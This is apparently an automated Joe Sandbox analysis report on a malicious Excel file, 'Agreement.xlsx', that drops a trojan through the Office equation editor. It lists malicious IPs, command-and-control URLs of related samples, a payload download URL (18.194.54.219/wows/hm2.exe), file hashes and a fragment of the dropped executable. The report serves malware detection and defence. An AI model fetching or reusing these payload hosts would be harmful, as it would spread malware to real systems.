http://www.windows.com/pctv.	explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp	false		high
http://www.ya.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.etmall.com.tw/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://it.search.dada.net/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.naver.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.ru/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.hanafos.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cgi.search.biglobe.ne.jp/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.abril.com.br/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.daum.net/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.naver.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.msn.co.jp/results.aspx?q=	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.clarin.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscar.ozu.es/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://kr.search.yahoo.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.about.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://thesnake.herokuapp.com/snakes	vbc.exe, 00000004.00000002.2157265721.000000000235A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://busca.igbusca.com.br/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.ask.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.priceminister.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.cjmall.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.centrum.cz/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://suche.t-online.de/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.it/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.auction.co.kr/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.ceneo.pl/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.amazon.de/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000006.00000000.2175705501.000000000861C000.00000004.00000001.sdmp	false		high
http://sads.myspace.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://busca.buscape.com.br/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.pchome.com.tw/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://browse.guardian.co.uk/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://google.pchome.com.tw/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://list.taobao.com/browse/search_visual.htm?n=15&q=	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.rambler.ru/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://uk.search.yahoo.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://espanol.search.yahoo.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.ozu.es/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.sify.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://openimage.interpark.com/interpark.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.yahoo.co.jp/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.gmarket.co.kr/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.nifty.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://searchresults.news.com.au/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.google.si/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.cz/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.soso.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.univision.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ebay.it/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://images.joins.com/ui_c/fvc_joins.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.asharqalawsat.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://busca.orange.es/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://cnweb.search.live.com/results.aspx?q=	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://auto.search.msn.com/response.asp?MT=	explorer.exe, 00000006.00000000.2178834889.000000000A330000.00000008.00000001.sdmp	false		high
http://search.yahoo.co.jp	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.target.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscador.terra.es/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.orange.co.uk/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.iask.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tesco.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://cgi.search.biglobe.ne.jp/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.seznam.cz/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://suche.freenet.de/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.interpark.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ipop.co.kr/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://investor.msn.com/	explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp	false		high
http://search.espn.go.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.myspace.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.centrum.cz/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false		high
http://p.zhongsou.com/favicon.ico	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://service2.bfast.com/	explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.%s.comPA	explorer.exe, 00000006.00000000.2161587141.0000000001C70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
66.152.187.17	unknown	United States	35916	MULTA-ASN1US	true
198.185.159.144	unknown	United States	53831	SQUARESPACEUS	false
18.194.54.219	unknown	United States	16509	AMAZON-02US	true
34.102.136.180	unknown	United States	15169	GOOGLEUS	true
31.220.110.116	unknown	Lithuania	47583	AS-HOSTINGERLT	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	345179
Start date:	27.01.2021
Start time:	20:04:52
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Agreement.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@9/6@7/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 23.6% (good quality ratio 22.5%) Quality average: 70.1% Quality standard deviation: 29.3%
HCA Information:	Successful, ratio: 94% Number of executed functions: 108 Number of non-executed functions: 54
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe

Simulations

Behavior and APIs

Time	Type	Description
20:06:10	API Interceptor	37x Sleep call for process: EQNEDT32.EXE modified
20:06:12	API Interceptor	106x Sleep call for process: vbc.exe modified
20:06:35	API Interceptor	204x Sleep call for process: wlanext.exe modified
20:07:19	API Interceptor	1x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
66.152.187.17	hmH9ZhBQFD.exe	Get hash	malicious	Browse	www.mgg360.com/bw82/?AjR=92sn3P3sAy9ScZuSdsZEcwqQjW3QIGzSMG74ovAifJzLmk/UOXX3SzG66EKQnpGmQ1wq&ndnDnN=-Zh4gtKhzFrx
	Signatures Required 21-01-2021.xlsx	Get hash	malicious	Browse	www.mgg360.com/bw82/?KPO0Ltt0=92sn3P3pA19WcJiefsZEcwqQjW3QIGzSMGjo0scjbpzKmVTSJHG7E3+45hmGj5CVb2tavg==&GzuD_=dp5pdVbpjd
	fl3TkfT33S.exe	Get hash	malicious	Browse	www.mgg360.com/bw82/?EzuxZr=3f-8&XrFPk4mP=92sn3P3sAy9ScZuSdsZEcwqQjW3QIGzSMG74ovAifJzLmk/UOXX3SzG66HmA7YadXAZ72cM2sQ==
	2021 DOCS.xlsx	Get hash	malicious	Browse	www.mgg360.com/bw82/?Bxo4nDP=92sn3P3pA19WcJiefsZEcwqQjW3QIGzSMGjo0scjbpzKmVTSJHG7E3+45hmGj5CVb2tavg==&pJE=YXglJj4Py
	xwE6WlNHu1.exe	Get hash	malicious	Browse	www.mgg360.com/bw82/?BjU=92sn3P3sAy9ScZuSdsZEcwqQjW3QIGzSMG74ovAifJzLmk/UOXX3SzG66EKQnpGmQ1wq&Jdy=THIDZXZPt04tW
	F9FX9EoKDL.exe	Get hash	malicious	Browse	www.mgg360.com/bw82/?KZQL=92sn3P3sAy9ScZuSdsZEcwqQjW3QIGzSMG74ovAifJzLmk/UOXX3SzG66Hm5kp6eZWF82cMx/g==&RlW=bjoxnFJXA8hpCv
	NEW ORDER 15DEC.xlsx	Get hash	malicious	Browse	www.mgg360.com/bw82/?ong0rTC=92sn3P3pA19WcJiefsZEcwqQjW3QIGzSMGjo0scjbpzKmVTSJHG7E3+45hmGj5CVb2tavg==&PFQL=nHI4EV
	ShippingDoc12-08.exe	Get hash	malicious	Browse	www.mgg360.com/bw82/?T8Ll5xA=92sn3P3sAy9ScZuSdsZEcwqQjW3QIGzSMG74ovAifJzLmk/UOXX3SzG66EK64Z2mU34q&Txlt=Ovp4ZR4h4BgdPfY
	at3nJkOFqF.exe	Get hash	malicious	Browse	www.mgg360.com/bw82/?2d=onxdA&-Zlpi6B=92sn3P3sAy9ScZuSdsZEcwqQjW3QIGzSMG74ovAifJzLmk/UOXX3SzG66EK64Z2mU34q
198.185.159.144	Doc_37584567499454.xlsx	Get hash	malicious	Browse	www.soundon.events/csv8/?l48tdRq0=f1zFyjN0EmLviNF8fKKCz7YQnzvARTiViS3XLvwk6t41gXJpQ0SRSkWjGn1VRBwYOzEhaA==&RF=fra8
	xl2Ml2iNJe.exe	Get hash	malicious	Browse	www.theatomicshots.com/xle/?-ZnD=LjoXU6n8-&iBrlPD=dZpq/2SbxZ9fjKphiMNZYhV3L/2Ns2NYRA9XvZOFrZWohuKG4iXKPwFAYUSLWPv7Pa79MYJLDg==
	Inquiry_73834168_.xlsx	Get hash	malicious	Browse	www.sentire.design/incn/?9r_PU=-ZQLEn&e2Jdlzf8=5ltUxrttwFhptoEbwwSBkwhwumkFdmMXQM+4K6mrQNNQqM/0ADGIG+m5mhGMml3JysWX3Q==
	hmH9ZhBQFD.exe	Get hash	malicious	Browse	www.magiclabs.media/bw82/?AjR=P2+pz5Ip5Thw4xSsr1TQmwqfNtgh4ua+i2k1cmEpjT3MKeCHzs63ua9PxpQsOBrBw3ru&ndnDnN=-Zh4gtKhzFrx
	Signatures Required 21-01-2021.xlsx	Get hash	malicious	Browse	www.usmedicarenow.com/bw82/?KPO0Ltt0=cQgJWKf5RX1pgHqtrNlNvU1Wcwt7yBWYkREyiU0JrpPbxB8OGrmWpa/gYGeP1DcG9D81oQ==&GzuD_=dp5pdVbpjd
	PO210119.exe.exe	Get hash	malicious	Browse	www.edmondscakes.com/2kf/?9r4P2=J484&xPGHVhT0=9XMLlWJTI6vAfrHRazBeuJnX2zF/KKkFVijVc9HuNL/CE78GsXIW/AGNdR4jkREGsVcZ
	LOI.exe	Get hash	malicious	Browse	www.eatsourdough.com/zu8g/?bj=QvQF2MNn+oHkRRTSyytx3edINhmZPioUidW/VLxKdYkXSZlckZwTIbNrQkX4ebA4OyQo&Rx=LlyhAx4hlXV0
	fl3TkfT33S.exe	Get hash	malicious	Browse	www.usmedicarenow.com/bw82/?XrFPk4mP=cQgJWKf8RQ1tgXmhpNlNvU1Wcwt7yBWYkRci+XoIvJPaxwQIB73a/eHibgeJtiEOx1IUxmal7w==&EzuxZr=3f-8
	Qs6ySVV95N.exe	Get hash	malicious	Browse	www.usmedicarenow.com/bw82/?9rN46F=xVJHBdo8&u4Td2=cQgJWKf8RQ1tgXmhpNlNvU1Wcwt7yBWYkRci+XoIvJPaxwQIB73a/eHibgewyTkN/jUTxmaioA==
	insz.exe	Get hash	malicious	Browse	www.qlifepharmacy.com/hko6/?b6l=GNi/DpI/o0IU2mlIts+MFBAG9T0dMGL590B2ep5La5xhQGCr0BB5YDI5YioaKEegNoVx&DbG=_FNlKl
	Details...exe	Get hash	malicious	Browse	www.kimquint.com/t052/?pPX=4cshQmakRJ4rOfrc+vaKpepuexOMGJP6AHyg5az6tVfj4oyeQSVKKfWPD+cchExBRaiI&1b=jnKtRfexr
	Ulma9B5jo1.exe	Get hash	malicious	Browse	www.littlefreecherokeelibrary.com/xle/?UTdx=j0kojX1lOezO3MpNYqSB4xQ7fy015qg6Jc4pJwrM/nOhsl2ZSQmO9E8rTYC4c+3bSb7eWeWU8g==&opg=HL34vR7x-zNdZz
	9gVzvJI8zq.exe	Get hash	malicious	Browse	www.usmedicarenow.com/bw82/?ElP=cQgJWKf8RQ1tgXmhpNlNvU1Wcwt7yBWYkRci+XoIvJPaxwQIB73a/eHibgSJ+yINolIC&Qtx=JlztxZOpbfa
	ugGgUEbqio.exe	Get hash	malicious	Browse	www.usmedicarenow.com/bw82/?Gzux=cQgJWKf8RQ1tgXmhpNlNvU1Wcwt7yBWYkRci+XoIvJPaxwQIB73a/eHibjyZxTY12AhF&AnB=O2MxwrlpB
	Yw5acDrhKd.exe	Get hash	malicious	Browse	www.silhouettebodyspa.com/de92/?FD=Txo8n6BX_BmT&vBZ=aW4bwX+7+rq/lVtFlzifkf7EnMQHuKASlHyg88U21n5YYvOPVn8iR8TT3RdPTa13WJ65
	AnGaRFyL4O.exe	Get hash	malicious	Browse	www.sentire.design/incn/?BjR=5ltUxrtowChtt4IXywSBkwhwumkFdmMXQMmoW56qUtNRq9TyHTXEQ6e7lHGzh1PCwM+xugbLVQ==&ndndsT=KfvDDjnxw8Ql
	Mv Maersk Kleven V949E_pdf.exe	Get hash	malicious	Browse	www.laurencosiovocalstudio.com/p7t/?LZND=kBrJoBOj5OEQVKOXcx6xaEgKFskLIwEkFghBBfGTZb6JR8v+XXQZ7/m6mE6TANuqT+bEcVC2gg==&MnZ=GXLth
	f4tP1FPuGN.exe	Get hash	malicious	Browse	www.scheherazadelegault.com/csv8/?4h0=0hV2NfdVjmx+yfQvTLszaaA4nyOLrpeuP9TqtJZz9egJMD1sBqTfWGO8dzvjX59MdUiM72A8Sw==&wR=LJEtMDJ
	SUNEJ PAYMENT.exe	Get hash	malicious	Browse	www.cameroncooperar.com/m8ec/?ETRTzvU=oW5CUikigFCJobF4LoDriRErNoDG5MXy9cQdn9L0Iy2n1VjfeIoqGObfEkiRrSpRq/xu&DzrLW=VDKPcpdPnjE8Qb
	Mv Maersk Kleven V949E_pdf.exe	Get hash	malicious	Browse	www.laurencosiovocalstudio.com/p7t/?v6=kBrJoBOj5OEQVKOXcx6xaEgKFskLIwEkFghBBfGTZb6JR8v+XXQZ7/m6mHWDc8yRULyV&-ZS=W6ApnLe0

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.mgg360.com	hmH9ZhBQFD.exe	Get hash	malicious	Browse	66.152.187.17
	Signatures Required 21-01-2021.xlsx	Get hash	malicious	Browse	66.152.187.17
	fl3TkfT33S.exe	Get hash	malicious	Browse	66.152.187.17
	2021 DOCS.xlsx	Get hash	malicious	Browse	66.152.187.17
	xwE6WlNHu1.exe	Get hash	malicious	Browse	66.152.187.17
	F9FX9EoKDL.exe	Get hash	malicious	Browse	66.152.187.17
	NEW ORDER 15DEC.xlsx	Get hash	malicious	Browse	66.152.187.17
	ShippingDoc12-08.exe	Get hash	malicious	Browse	66.152.187.17
	at3nJkOFqF.exe	Get hash	malicious	Browse	66.152.187.17

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SQUARESPACEUS	Doc_37584567499454.xlsx	Get hash	malicious	Browse	198.185.159.144
	quote20210126.exe.exe	Get hash	malicious	Browse	198.49.23.144
	xl2Ml2iNJe.exe	Get hash	malicious	Browse	198.185.159.144
	Inquiry_73834168_.xlsx	Get hash	malicious	Browse	198.185.159.144
	vA0mtZ7JzJ.exe	Get hash	malicious	Browse	198.185.159.145
	hmH9ZhBQFD.exe	Get hash	malicious	Browse	198.185.159.144
	Signatures Required 21-01-2021.xlsx	Get hash	malicious	Browse	198.185.159.144
	Documents.xlsx	Get hash	malicious	Browse	198.49.23.144
	PO210119.exe.exe	Get hash	malicious	Browse	198.185.159.144
	LOI.exe	Get hash	malicious	Browse	198.185.159.144
	yty5HOxW3o.exe	Get hash	malicious	Browse	198.185.159.145
	fl3TkfT33S.exe	Get hash	malicious	Browse	198.185.159.144
	Qs6ySVV95N.exe	Get hash	malicious	Browse	198.185.159.144
	PE20-RQ- 1638.xlsx	Get hash	malicious	Browse	198.49.23.144
	0f9zzITIbk.exe	Get hash	malicious	Browse	198.185.159.145
	insz.exe	Get hash	malicious	Browse	198.185.159.144
	Details...exe	Get hash	malicious	Browse	198.185.159.144
	Ulma9B5jo1.exe	Get hash	malicious	Browse	198.185.159.144
	xPkiX7vwNVqQf9I.exe	Get hash	malicious	Browse	198.185.159.145
	yxYmHtT7uT.exe	Get hash	malicious	Browse	198.49.23.145
AMAZON-02US	Signature.xlsx	Get hash	malicious	Browse	18.194.54.219
	Doc_37584567499454.xlsx	Get hash	malicious	Browse	52.209.107.24
	Documentaci#U00f3n.doc	Get hash	malicious	Browse	35.163.191.195
	Rolled Alloys Possible Infection.docx	Get hash	malicious	Browse	143.204.11.47
	Order confirmation 64236000000025 26.01.2021.exe	Get hash	malicious	Browse	3.0.139.114
	Rolled Alloys Possible Infection.docx	Get hash	malicious	Browse	143.204.11.17
	ARCHIVOFile-20-012021.doc	Get hash	malicious	Browse	35.163.191.195
	FACTUUR-INV00012.xlsx	Get hash	malicious	Browse	52.216.237.43
	FACTUUR-INV00012.xlsx	Get hash	malicious	Browse	52.216.95.11
	daily scripts.exe	Get hash	malicious	Browse	34.242.129.172
	0113 INV_PAK.xlsx	Get hash	malicious	Browse	44.240.171.172
	wno5UOP8TJ.exe	Get hash	malicious	Browse	52.211.215.209
	quote20210126.exe.exe	Get hash	malicious	Browse	3.140.151.209
	PAYMENT.xlsx	Get hash	malicious	Browse	34.251.154.69
	PAYMENT.xlsx	Get hash	malicious	Browse	34.249.208.250
	DHL eMailShip delivery Form - securedPDF.html	Get hash	malicious	Browse	52.218.216.224
	5Ur5p5e8r2.exe	Get hash	malicious	Browse	13.52.79.18
	The Mental Health Center.xlsx	Get hash	malicious	Browse	52.216.245.238
	Inquiry_73834168_.xlsx	Get hash	malicious	Browse	3.131.104.217
	Xy4f5rcxOm.dll	Get hash	malicious	Browse	54.64.30.175
MULTA-ASN1US	hmH9ZhBQFD.exe	Get hash	malicious	Browse	66.152.187.17
	Signatures Required 21-01-2021.xlsx	Get hash	malicious	Browse	66.152.187.17
	fl3TkfT33S.exe	Get hash	malicious	Browse	66.152.187.17
	2021 DOCS.xlsx	Get hash	malicious	Browse	66.152.187.17
	RE SHIPPING DOCS MNL 1X20GP+1X40HC ETD27012021pdf.exe	Get hash	malicious	Browse	72.44.77.80
	xwE6WlNHu1.exe	Get hash	malicious	Browse	66.152.187.17
	PO_JAN907#092941_BARYSLpdf.exe	Get hash	malicious	Browse	72.44.77.80
	TIGW1Ow1O6.exe	Get hash	malicious	Browse	64.69.43.237
	F9FX9EoKDL.exe	Get hash	malicious	Browse	66.152.187.17
	NEW ORDER 15DEC.xlsx	Get hash	malicious	Browse	66.152.187.17
	Purchase Order#12202011.exe	Get hash	malicious	Browse	96.45.164.251
	ShippingDoc12-08.exe	Get hash	malicious	Browse	66.152.187.17
	at3nJkOFqF.exe	Get hash	malicious	Browse	66.152.187.17
	Shipment Document BL,INV And Packing List Attached.exe	Get hash	malicious	Browse	198.74.106.231
	OZjLyhkYEf.exe	Get hash	malicious	Browse	173.82.106.140
	POJ-100120 VTO-102620.doc	Get hash	malicious	Browse	181.215.182.169
	Report.doc	Get hash	malicious	Browse	181.215.182.169
	PO_10262020EX.doc	Get hash	malicious	Browse	181.215.182.169
	isb777amx.exe	Get hash	malicious	Browse	216.24.242.34
	https://cyttatesful.com/CD/nridistribution.com/office_365_authentication/owa.php	Get hash	malicious	Browse	173.82.115.103

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm2[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	downloaded
Size (bytes):	913408
Entropy (8bit):	7.154427701201435
Encrypted:	false
SSDEEP:	12288:pSpEvPye6xWHafjVti8Hul35XH01bi5ZioU1s/Poevs5iyXsvYqXHLs7NvGhqMlW:0qvqe6g6fzHU5X01WTPU1s6
MD5:	F49E0B01E26E5E197421C4260DD87545
SHA1:	CF6ADE9E61D1264AE3EFC371D8B7D13E2F740647
SHA-256:	7DFB2D60095157148FCB26BDFC4270CE6D5E3678C60628B8F683C4E1ADBD8043
SHA-512:	D4BE5DB242754EBE848526D663872BE9239F729D21711E54BC7ED9FE2C5B1BF398F16ACEAD6D5EF829FEB8C7F45E57800F815DF5ECA80C2982ABBDC587B2C537
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://18.194.54.219/wows/hm2.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....m.`..............P.................. ... ....@.. .......................`............@.................................H...S.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H....... 4..(.......B...8R..............................................(A.....ema.......H.@..k.&XU..U...g...............\|.. ...0Y...B....g;.=....y..#.b....J..u.8....xp8g=.......U..A.../o).....8...9{..a...;@U.1..M.. <.....t.).....RG...O...cDA....l...FDN.Jps..:..dF.KP$..q.2.K...2..=....\|/.......c&.K..[....)..4....d.U...;r.`..].....}...5..k.d43..2L,SF_#G."B....S.p.9+....y..Z....sUt.7.R.J.4...\|.c.......Y.B4...@.P`.5Wn.MI.M.?.[.....BU..D.S.....b/p.R..s.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\32ED815C.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	653280
Entropy (8bit):	2.898629221825498
Encrypted:	false
SSDEEP:	3072:x34UL0tS6WB0JOqFVY5QcARI/McGdAT9kRLFdtSyUu50yknG/qc+x:54UcLe0JOqQQZR8MDdATCR3tS+jqcC
MD5:	023567A26C4FCEDCD6F74AE5975A1FA3
SHA1:	C4B4978F180C1F04C1E6476FDE416D4A3452F500
SHA-256:	11113A55316CAA641CC8C148FCF8C322FE4D7DEEDAAB038AA632C6C4811C8CCA
SHA-512:	E311ECB57EA41E82C75C2D87CD812DB7143515471035A8CCD0628BAD25B6E239E24883A51D804B240B50A219BE0FE0CD1625B25B06CE2F4B8C999808790393A9
Malicious:	false
Reputation:	low
Preview:	....l...........S................@...#.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..............................................I...c...%...........%...................................R...p................................@."C.a.l.i.b.r.i.....................................................#.l.#.......#.P.#..N.U..#...#.....8.#...#..N.U..#...#. ....y.Q..#...#. ............z.Q............................................X...%...7...................{ .@................C.a.l.i.b.r.............\.#.X.....#...#..2.Q........8.#.8.#..{.Q....`.#.....dv......%...........%...........%...........!.......................I...c..."...........%...........%...........%...........T...T..........................@.E.@T...........L...............I...c...P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8980DBCA.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
